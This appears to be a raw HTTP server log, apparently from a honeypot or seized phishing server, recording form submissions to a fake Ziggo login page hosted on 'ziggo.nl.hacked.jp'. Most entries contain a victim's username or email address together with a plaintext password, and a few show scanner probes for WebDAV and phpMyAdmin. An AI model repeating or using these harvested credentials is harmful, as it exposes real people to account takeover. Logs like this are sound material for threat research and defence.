  2593. [06:48] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=p.w.versteegh%40ziggo.nl&userId=p.w.versteegh%40ziggo.nl&password=pekiz01&button=
  2594. [06:49] <HTTP> Socket initiated: 83.84.92.32
  2595. [06:49] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2596. [06:49] <HTTP> Accept: text/html, application/xhtml+xml, image/jxr, */*
  2597. [06:49] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2598. [06:49] <HTTP> Accept-Language: nl-NL
  2599. [06:49] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
  2600. [06:49] <HTTP> Content-Type: application/x-www-form-urlencoded
  2601. [06:49] <HTTP> Accept-Encoding: gzip, deflate
  2602. [06:49] <HTTP> Host: ziggo.nl.hacked.jp
  2603. [06:49] <HTTP> Content-Length: 138
  2604. [06:49] <HTTP> Connection: Keep-Alive
  2605. [06:49] <HTTP> Cache-Control: no-cache
  2606. [06:49] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=p.w.versteegh%40ziggo.nl&userId=p.w.versteegh%40ziggo.nl&password=12021959&button=
  2607. [07:01] <HTTP> Socket initiated: 83.81.121.38
  2608. [07:01] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2609. [07:01] <HTTP> Host: ziggo.nl.hacked.jp
  2610. [07:01] <HTTP> Connection: keep-alive
  2611. [07:01] <HTTP> Content-Length: 108
  2612. [07:01] <HTTP> Cache-Control: max-age=0
  2613. [07:01] <HTTP> Origin: http://219.93.200.189
  2614. [07:01] <HTTP> Upgrade-Insecure-Requests: 1
  2615. [07:01] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-G903F Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  2616. [07:01] <HTTP> Content-Type: application/x-www-form-urlencoded
  2617. [07:01] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2618. [07:01] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2619. [07:01] <HTTP> Accept-Encoding: gzip, deflate
  2620. [07:01] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2621. [07:01] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=agmduiker&userId=agmduiker&password=anneke53&button=
  2622. [07:05] <HTTP> Socket initiated: 83.81.121.38
  2623. [07:05] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2624. [07:05] <HTTP> Host: ziggo.nl.hacked.jp
  2625. [07:05] <HTTP> Connection: keep-alive
  2626. [07:05] <HTTP> Content-Length: 108
  2627. [07:05] <HTTP> Cache-Control: max-age=0
  2628. [07:05] <HTTP> Origin: http://219.93.200.189
  2629. [07:05] <HTTP> Upgrade-Insecure-Requests: 1
  2630. [07:05] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-G903F Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  2631. [07:05] <HTTP> Content-Type: application/x-www-form-urlencoded
  2632. [07:05] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2633. [07:06] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2634. [07:06] <HTTP> Accept-Encoding: gzip, deflate
  2635. [07:06] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2636. [07:06] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=agmduiker&userId=agmduiker&password=anneke53&button=
  2637. [07:06] <HTTP> Socket initiated: 83.86.77.73
  2638. [07:07] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2639. [07:07] <HTTP> Host: ziggo.nl.hacked.jp
  2640. [07:07] <HTTP> Connection: keep-alive
  2641. [07:07] <HTTP> Content-Length: 108
  2642. [07:07] <HTTP> Cache-Control: max-age=0
  2643. [07:07] <HTTP> Origin: http://219.93.200.189
  2644. [07:07] <HTTP> Upgrade-Insecure-Requests: 1
  2645. [07:07] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  2646. [07:07] <HTTP> Content-Type: application/x-www-form-urlencoded
  2647. [07:07] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2648. [07:07] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2649. [07:07] <HTTP> Accept-Encoding: gzip, deflate
  2650. [07:07] <HTTP> Accept-Language: en-US,en;q=0.8
  2651. [07:07] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Chaudhry&userId=Chaudhry&password=CHSPORTS12&button=
  2652. [07:13] <HTTP> Socket initiated: 217.101.133.222
  2653. [07:13] <HTTP> Socket initiated: 217.101.133.222
  2654. [07:13] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2655. [07:13] <HTTP> Host: ziggo.nl.hacked.jp
  2656. [07:13] <HTTP> Connection: keep-alive
  2657. [07:13] <HTTP> Content-Length: 122
  2658. [07:13] <HTTP> Cache-Control: max-age=0
  2659. [07:13] <HTTP> Origin: http://219.93.200.189
  2660. [07:13] <HTTP> Upgrade-Insecure-Requests: 1
  2661. [07:13] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  2662. [07:13] <HTTP> Content-Type: application/x-www-form-urlencoded
  2663. [07:13] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2664. [07:13] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2665. [07:13] <HTTP> Accept-Encoding: gzip, deflate
  2666. [07:13] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2667. [07:13] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Harryenpatricia&userId=Harryenpatricia&password=hmkoko1966&button=
  2668. [07:17] <HTTP> Socket initiated: 80.113.211.51
  2669. [07:17] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2670. [07:17] <HTTP> Host: ziggo.nl.hacked.jp
  2671. [07:17] <HTTP> Connection: keep-alive
  2672. [07:17] <HTTP> Content-Length: 138
  2673. [07:17] <HTTP> Cache-Control: max-age=0
  2674. [07:17] <HTTP> Origin: http://219.93.200.189
  2675. [07:17] <HTTP> Upgrade-Insecure-Requests: 1
  2676. [07:17] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; Nexus 6P Build/N2G47O) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  2677. [07:17] <HTTP> Content-Type: application/x-www-form-urlencoded
  2678. [07:17] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2679. [07:17] <HTTP> DNT: 1
  2680. [07:17] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2681. [07:17] <HTTP> Accept-Encoding: gzip, deflate
  2682. [07:17] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2683. [07:17] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Gert.verhage%40ziggo.nl&userId=Gert.verhage%40ziggo.nl&password=Vergetaen1&button=
  2684. [07:18] <HTTP> Socket initiated: 152.246.86.8
  2685. [07:18] <HTTP> Socket initiated: 152.246.86.8
  2686. [07:18] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2687. [07:18] <HTTP> Host: ziggo.nl.hacked.jp
  2688. [07:18] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2689. [07:18] <HTTP> Upgrade-Insecure-Requests: 1
  2690. [07:18] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  2691. [07:18] <HTTP> Content-Type: application/x-www-form-urlencoded
  2692. [07:18] <HTTP> Content-Length: 106
  2693. [07:18] <HTTP> Accept-Language: nl-nl
  2694. [07:18] <HTTP> Origin: http://219.93.200.189
  2695. [07:18] <HTTP> Accept-Encoding: gzip, deflate
  2696. [07:18] <HTTP> Connection: keep-alive
  2697. [07:18] <HTTP> User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  2698. [07:18] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=advdsluis&userId=advdsluis&password=ad1956&button=
  2699. [07:19] <HTTP> Socket initiated: 62.140.132.4
  2700. [07:19] <HTTP> Socket initiated: 62.140.132.4
  2701. [07:19] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2702. [07:19] <HTTP> Content-Length: 111
  2703. [07:19] <HTTP> Origin: http://219.93.200.189
  2704. [07:19] <HTTP> Upgrade-Insecure-Requests: 1
  2705. [07:19] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36
  2706. [07:19] <HTTP> Content-Type: application/x-www-form-urlencoded
  2707. [07:19] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2708. [07:19] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2709. [07:19] <HTTP> Accept-Encoding: gzip, deflate
  2710. [07:19] <HTTP> Accept-Language: nl-NL,nl,en-US,en
  2711. [07:19] <HTTP> Host: ziggo.nl.hacked.jp
  2712. [07:19] <HTTP> Cache-Control: max-age=0
  2713. [07:19] <HTTP> Connection: keep-alive
  2714. [07:19] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=SJACKIE&userId=SJACKIE&password=zFV4wTNcvfju-33&button=
  2715. [07:22] <HTTP> Socket initiated: 62.140.132.4
  2716. [07:22] <HTTP> Socket initiated: 62.140.132.4
  2717. [07:22] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2718. [07:22] <HTTP> Content-Length: 110
  2719. [07:22] <HTTP> Origin: http://219.93.200.189
  2720. [07:22] <HTTP> Upgrade-Insecure-Requests: 1
  2721. [07:22] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36
  2722. [07:22] <HTTP> Content-Type: application/x-www-form-urlencoded
  2723. [07:22] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2724. [07:22] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2725. [07:22] <HTTP> Accept-Encoding: gzip, deflate
  2726. [07:22] <HTTP> Accept-Language: nl-NL,nl,en-US,en
  2727. [07:22] <HTTP> Host: ziggo.nl.hacked.jp
  2728. [07:22] <HTTP> Cache-Control: max-age=0
  2729. [07:22] <HTTP> Connection: keep-alive
  2730. [07:22] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=SJACKIE&userId=SJACKIE&password=zFV4wTNvfju-33&button=
  2731. [07:26] <HTTP> Socket initiated: 46.209.210.18
  2732. [07:26] <HTTP> OPTIONS /ipc$ HTTP/1.1
  2733. [07:26] <HTTP> Connection: Keep-Alive
  2734. [07:26] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  2735. [07:26] <HTTP> translate: f
  2736. [07:26] <HTTP> Host: 172.86.120.218
  2737. [07:27] <HTTP> Socket initiated: 46.209.210.18
  2738. [07:27] <HTTP> OPTIONS /ipc$ HTTP/1.1
  2739. [07:27] <HTTP> Connection: Keep-Alive
  2740. [07:27] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  2741. [07:27] <HTTP> translate: f
  2742. [07:27] <HTTP> Host: 172.86.120.218
  2743. [07:49] <HTTP> Socket initiated: 91.230.47.3
  2744. [07:49] <HTTP> GET / HTTP/1.0
  2745. [07:49] <HTTP> Connection: close
  2746. [08:23] <HTTP> Socket initiated: 139.162.114.70
  2747. [08:24] <HTTP> GET / HTTP/1.1
  2748. [08:24] <HTTP> Host: 172.86.120.218
  2749. [08:24] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
  2750. [08:24] <HTTP> Connection: close
  2751. [08:25] <HTTP> Socket initiated: 185.46.137.7
  2752. [08:25] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2753. [08:25] <HTTP> Host: ziggo.nl.hacked.jp
  2754. [08:25] <HTTP> Connection: keep-alive
  2755. [08:25] <HTTP> Content-Length: 133
  2756. [08:25] <HTTP> Cache-Control: max-age=0
  2757. [08:25] <HTTP> Origin: http://219.93.200.189
  2758. [08:26] <HTTP> Upgrade-Insecure-Requests: 1
  2759. [08:26] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; HUAWEI VNS-L31 Build/HUAWEIVNS-L31) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  2760. [08:26] <HTTP> Content-Type: application/x-www-form-urlencoded
  2761. [08:26] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2762. [08:26] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2763. [08:26] <HTTP> Accept-Encoding: gzip, deflate
  2764. [08:26] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2765. [08:26] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Teusyvonne%40ziggo.nl&userId=Teusyvonne%40ziggo.nl&password=Zonnetje1&button=
  2766. [08:50] <HTTP> Socket initiated: 91.230.47.3
  2767. [08:50] <HTTP> GET / HTTP/1.0
  2768. [08:50] <HTTP> Connection: close
  2769. [09:26] <HTTP> Socket initiated: 84.241.192.68
  2770. [09:26] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2771. [09:26] <HTTP> Host: ziggo.nl.hacked.jp
  2772. [09:26] <HTTP> Connection: keep-alive
  2773. [09:26] <HTTP> Content-Length: 114
  2774. [09:26] <HTTP> Cache-Control: max-age=0
  2775. [09:26] <HTTP> Origin: http://219.93.200.189
  2776. [09:26] <HTTP> Upgrade-Insecure-Requests: 1
  2777. [09:26] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G930F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  2778. [09:26] <HTTP> Content-Type: application/x-www-form-urlencoded
  2779. [09:26] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2780. [09:26] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2781. [09:26] <HTTP> Accept-Encoding: gzip, deflate
  2782. [09:26] <HTTP> Accept-Language: nl-NL,en-GB;q=0.8,nl;q=0.6,en-US;q=0.4,en;q=0.2
  2783. [09:26] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=FONSPASTEUR&userId=FONSPASTEUR&password=Skatje1958&button=
  2784. [09:40] <HTTP> Socket initiated: 202.98.205.30
  2785. [09:40] <HTTP> GET /phpmyadmin HTTP/1.1
  2786. [09:40] <HTTP> Connection: Keep-Alive
  2787. [09:40] <HTTP> Content-Type: application/x-www-form-urlencoded
  2788. [09:40] <HTTP> Accept: */*
  2789. [09:40] <HTTP> Accept-Language: zh-cn
  2790. [09:40] <HTTP> Referer: http://172.86.120.218/phpmyadmin
  2791. [09:40] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
  2792. [09:40] <HTTP> Host: 172.86.120.218
  2793. [09:42] <HTTP> Socket initiated: 92.91.128.175
  2794. [09:42] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2795. [09:42] <HTTP> Host: ziggo.nl.hacked.jp
  2796. [09:42] <HTTP> Connection: keep-alive
  2797. [09:42] <HTTP> Content-Length: 109
  2798. [09:42] <HTTP> Cache-Control: max-age=0
  2799. [09:42] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2800. [09:42] <HTTP> Origin: http://219.93.200.189
  2801. [09:42] <HTTP> Upgrade-Insecure-Requests: 1
  2802. [09:42] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SAMSUNG SM-T713 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/4.0 Chrome/44.0.2403.133 Safari/537.36
  2803. [09:42] <HTTP> Content-Type: application/x-www-form-urlencoded
  2804. [09:42] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2805. [09:42] <HTTP> Accept-Encoding: gzip, deflate
  2806. [09:42] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2807. [09:42] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=SICKO2009&userId=SICKO2009&password=19ziggo47&button=
  2808. [10:36] <HTTP> Socket initiated: 80.114.239.232
  2809. [10:36] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2810. [10:36] <HTTP> Host: ziggo.nl.hacked.jp
  2811. [10:36] <HTTP> Connection: keep-alive
  2812. [10:36] <HTTP> Content-Length: 115
  2813. [10:36] <HTTP> Cache-Control: max-age=0
  2814. [10:36] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2815. [10:36] <HTTP> Origin: http://219.93.200.189
  2816. [10:36] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-J320FN Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.5 Chrome/38.0.2125.102 Mobile Safari/537.36
  2817. [10:36] <HTTP> Content-Type: application/x-www-form-urlencoded
  2818. [10:36] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2819. [10:36] <HTTP> Accept-Encoding: gzip,deflate
  2820. [10:36] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2821. [10:36] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=dicktammenga&userId=dicktammenga&password=tammenga5&button=
  2822. [10:37] <HTTP> Socket initiated: 94.209.235.235
  2823. [10:37] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2824. [10:37] <HTTP> Host: ziggo.nl.hacked.jp
  2825. [10:37] <HTTP> Connection: keep-alive
  2826. [10:37] <HTTP> Content-Length: 124
  2827. [10:37] <HTTP> Cache-Control: max-age=0
  2828. [10:37] <HTTP> Origin: http://219.93.200.189
  2829. [10:37] <HTTP> Upgrade-Insecure-Requests: 1
  2830. [10:37] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; SM-T560 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Safari/537.36
  2831. [10:37] <HTTP> Content-Type: application/x-www-form-urlencoded
  2832. [10:37] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2833. [10:37] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2834. [10:37] <HTTP> Accept-Encoding: gzip, deflate
  2835. [10:37] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2836. [10:37] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=richardgertenaar&userId=richardgertenaar&password=Sylvia1961&button=
  2837. [10:59] <HTTP> Socket initiated: 222.186.31.153
  2838. [10:59] <HTTP> GET / HTTP/1.1
  2839. [10:59] <HTTP> Host: www.lwxs520.com
  2840. [11:13] <HTTP> Socket initiated: 84.29.86.162
  2841. [11:13] <HTTP> Socket initiated: 84.29.86.162
  2842. [11:13] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2843. [11:13] <HTTP> Host: ziggo.nl.hacked.jp
  2844. [11:13] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2845. [11:13] <HTTP> Upgrade-Insecure-Requests: 1
  2846. [11:13] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  2847. [11:13] <HTTP> Content-Type: application/x-www-form-urlencoded
  2848. [11:13] <HTTP> Content-Length: 105
  2849. [11:13] <HTTP> Accept-Language: nl-nl
  2850. [11:13] <HTTP> Origin: http://219.93.200.189
  2851. [11:13] <HTTP> Accept-Encoding: gzip, deflate
  2852. [11:13] <HTTP> Connection: keep-alive
  2853. [11:13] <HTTP> User-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  2854. [11:13] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Peter&userId=Peter&password=Kardinaal1942&button=
  2855. [11:14] <HTTP> Socket initiated: 176.74.57.165
  2856. [11:14] <HTTP> Socket initiated: 176.74.57.165
  2857. [11:14] <HTTP> Socket initiated: 176.74.57.165
  2858. [11:14] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2859. [11:14] <HTTP> Host: ziggo.nl.hacked.jp
  2860. [11:14] <HTTP> Connection: keep-alive
  2861. [11:14] <HTTP> Content-Length: 133
  2862. [11:14] <HTTP> Cache-Control: max-age=0
  2863. [11:14] <HTTP> Origin: http://219.93.200.189
  2864. [11:14] <HTTP> Upgrade-Insecure-Requests: 1
  2865. [11:14] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; HUAWEI VNS-L31 Build/HUAWEIVNS-L31) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  2866. [11:14] <HTTP> Content-Type: application/x-www-form-urlencoded
  2867. [11:14] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2868. [11:14] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2869. [11:14] <HTTP> Accept-Encoding: gzip, deflate
  2870. [11:14] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2871. [11:15] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Teusyvonne%40ziggo.nl&userId=Teusyvonne%40ziggo.nl&password=Zonnetje1&button=POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2872. [11:15] <HTTP> Host: ziggo.nl.hacked.jp
  2873. [11:15] <HTTP> Connection: keep-alive
  2874. [11:15] <HTTP> Content-Length: 133
  2875. [11:15] <HTTP> Cache-Control: max-age=0
  2876. [11:15] <HTTP> Origin: http://219.93.200.189
  2877. [11:15] <HTTP> Upgrade-Insecure-Requests: 1
  2878. [11:15] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; HUAWEI VNS-L31 Build/HUAWEIVNS-L31) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  2879. [11:15] <HTTP> Content-Type: application/x-www-form-urlencoded
  2880. [11:15] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2881. [11:15] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2882. [11:15] <HTTP> Accept-Encoding: gzip, deflate
  2883. [11:15] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2884. [11:15] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Teusyvonne%40ziggo.nl&userId=Teusyvonne%40ziggo.nl&password=Zonnetje1&button=POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2885. [11:15] <HTTP> Host: ziggo.nl.hacked.jp
  2886. [11:15] <HTTP> Connection: keep-alive
  2887. [11:15] <HTTP> Content-Length: 133
  2888. [11:15] <HTTP> Cache-Control: max-age=0
  2889. [11:15] <HTTP> Origin: http://219.93.200.189
  2890. [11:15] <HTTP> Upgrade-Insecure-Requests: 1
  2891. [11:15] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; HUAWEI VNS-L31 Build/HUAWEIVNS-L31) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  2892. [11:15] <HTTP> Content-Type: application/x-www-form-urlencoded
  2893. [11:15] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2894. [11:15] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2895. [11:15] <HTTP> Accept-Encoding: gzip, deflate
  2896. [11:15] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2897. [11:15] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Teusyvonne%40ziggo.nl&userId=Teusyvonne%40ziggo.nl&password=Zonnetje1&button=
  2898. [11:15] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2899. [11:15] <HTTP> Host: ziggo.nl.hacked.jp
  2900. [11:15] <HTTP> Connection: keep-alive
  2901. [11:15] <HTTP> Content-Length: 133
  2902. [11:15] <HTTP> Cache-Control: max-age=0
  2903. [11:15] <HTTP> Origin: http://219.93.200.189
  2904. [11:15] <HTTP> Upgrade-Insecure-Requests: 1
  2905. [11:15] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; HUAWEI VNS-L31 Build/HUAWEIVNS-L31) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  2906. [11:15] <HTTP> Content-Type: application/x-www-form-urlencoded
  2907. [11:15] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2908. [11:15] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2909. [11:15] <HTTP> Accept-Encoding: gzip, deflate
  2910. [11:15] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2911. [11:15] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Teusyvonne%40ziggo.nl&userId=Teusyvonne%40ziggo.nl&password=Zonnetje1&button=POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2912. [11:15] <HTTP> Host: ziggo.nl.hacked.jp
  2913. [11:15] <HTTP> Connection: keep-alive
  2914. [11:15] <HTTP> Content-Length: 133
  2915. [11:15] <HTTP> Cache-Control: max-age=0
  2916. [11:15] <HTTP> Origin: http://219.93.200.189
  2917. [11:15] <HTTP> Upgrade-Insecure-Requests: 1
  2918. [11:15] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; HUAWEI VNS-L31 Build/HUAWEIVNS-L31) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  2919. [11:15] <HTTP> Content-Type: application/x-www-form-urlencoded
  2920. [11:15] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2921. [11:15] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2922. [11:15] <HTTP> Accept-Encoding: gzip, deflate
  2923. [11:16] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2924. [11:16] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Teusyvonne%40ziggo.nl&userId=Teusyvonne%40ziggo.nl&password=Zonnetje1&button=POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2925. [11:16] <HTTP> Host: ziggo.nl.hacked.jp
  2926. [11:16] <HTTP> Connection: keep-alive
  2927. [11:16] <HTTP> Content-Length: 133
  2928. [11:16] <HTTP> Cache-Control: max-age=0
  2929. [11:16] <HTTP> Origin: http://219.93.200.189
  2930. [11:16] <HTTP> Upgrade-Insecure-Requests: 1
  2931. [11:16] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; HUAWEI VNS-L31 Build/HUAWEIVNS-L31) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  2932. [11:16] <HTTP> Content-Type: application/x-www-form-urlencoded
  2933. [11:16] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2934. [11:16] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2935. [11:16] <HTTP> Accept-Encoding: gzip, deflate
  2936. [11:16] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2937. [11:16] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Teusyvonne%40ziggo.nl&userId=Teusyvonne%40ziggo.nl&password=Zonnetje1&button=
  2938. [11:17] <HTTP> Socket initiated: 176.74.57.165
  2939. [11:17] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2940. [11:17] <HTTP> Host: ziggo.nl.hacked.jp
